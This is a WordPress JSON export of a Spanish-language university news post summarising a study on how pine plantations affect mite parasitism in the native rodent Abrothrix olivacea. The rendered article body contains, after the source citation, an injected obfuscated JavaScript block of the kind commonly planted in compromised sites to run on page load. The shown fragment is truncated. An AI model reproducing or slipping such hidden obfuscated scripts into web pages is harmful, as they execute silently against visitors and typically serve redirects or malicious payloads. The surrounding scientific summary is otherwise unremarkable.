{"id":3254,"date":"2020-06-22T12:52:24","date_gmt":"2020-06-22T15:52:24","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=3254"},"modified":"2020-06-22T12:52:24","modified_gmt":"2020-06-22T15:52:24","slug":"la-alteracion-del-habitat-y-su-efecto-sobre-los-parasitos-experiencias-en-plantaciones-de-pino","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/la-alteracion-del-habitat-y-su-efecto-sobre-los-parasitos-experiencias-en-plantaciones-de-pino\/2020\/3254\/","title":{"rendered":"La alteraci\u00f3n del h\u00e1bitat y su efecto sobre los par\u00e1sitos: experiencias en plantaciones de pino."},"content":{"rendered":"<p>Un estudio liderado por cient\u00edficas y cient\u00edficos de la Universidad de Concepci\u00f3n, en colaboraci\u00f3n con cient\u00edficos de la Universidad de Chile, ha evaluado el efecto de la alteraci\u00f3n del h\u00e1bitat, particularmente el cambio de bosque nativo por plantaciones de pino, sobre el nivel de parasitismo en el roedor nativo <em>Abrothrix olivacea<\/em>. Se trata de la investigaci\u00f3n de Joseline Veloso Fr\u00edas y colaboradores, en la que se utilizaron, como modelo de par\u00e1sitos, los \u00e1caros de los g\u00e9neros <em>Androlaelaps<\/em> y <em>Ornithonyssus<\/em>. Los resultados de esta investigaci\u00f3n evidencian c\u00f3mo las intervenciones forestales sobre el h\u00e1bitat nativo afectan la frecuencia del parasitismo, as\u00ed como tambi\u00e9n ejercen un efecto sobre la abundancia de par\u00e1sitos. En dicho estudio se observ\u00f3 que este efecto es muy dependiente de la biolog\u00eda del \u00e1caro, siendo m\u00e1s fuerte el efecto en los \u00e1caros que permanecen m\u00e1s en el hospedero que en aqu\u00e9llos que permanecen m\u00e1s en las madrigueras.<br \/>\n\u00c9ste es uno de los primeros trabajos que eval\u00faa este efecto considerando al mismo tiempo otras variables como la estacionalidad, adem\u00e1s del peso, la condici\u00f3n corporal y el sexo del hospedero. Los resultados de este estudio son parte de los primeros antecedentes en Chile que evidencian que las intervenciones de los h\u00e1bitats tambi\u00e9n tienen impacto sobre las poblaciones parasitarias, impacto que no es considerado en los estudios de impacto ambiental.<br \/>\nEl estudio de la ecolog\u00eda de los par\u00e1sitos permitir\u00e1 seguir avanzando en este conocimiento y reconocer el impacto real de las intervenciones ambientales sobre los par\u00e1sitos, y as\u00ed, indirectamente, sobre sus hospederos.<br \/>\nFuente: https:\/\/doi.org\/10.4404\/hystrix-00171-2019<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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cient\u00edficos de la Universidad de Concepci\u00f3n, en colaboraci\u00f3n con cient\u00edficos de la Universidad de Chile, ha evaluado el efecto de la alteraci\u00f3n del h\u00e1bitat, particularmente el cambio de bosque nativo por plantaciones de pino, sobre el nivel de parasitismo en el roedor nativo Abrothrix olivacea. Se trata de la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3255,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,9],"tags":[],"class_list":["post-3254","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destacados","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3254","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=3254"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3254\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/3255"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=3254"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=3254"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=3254"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}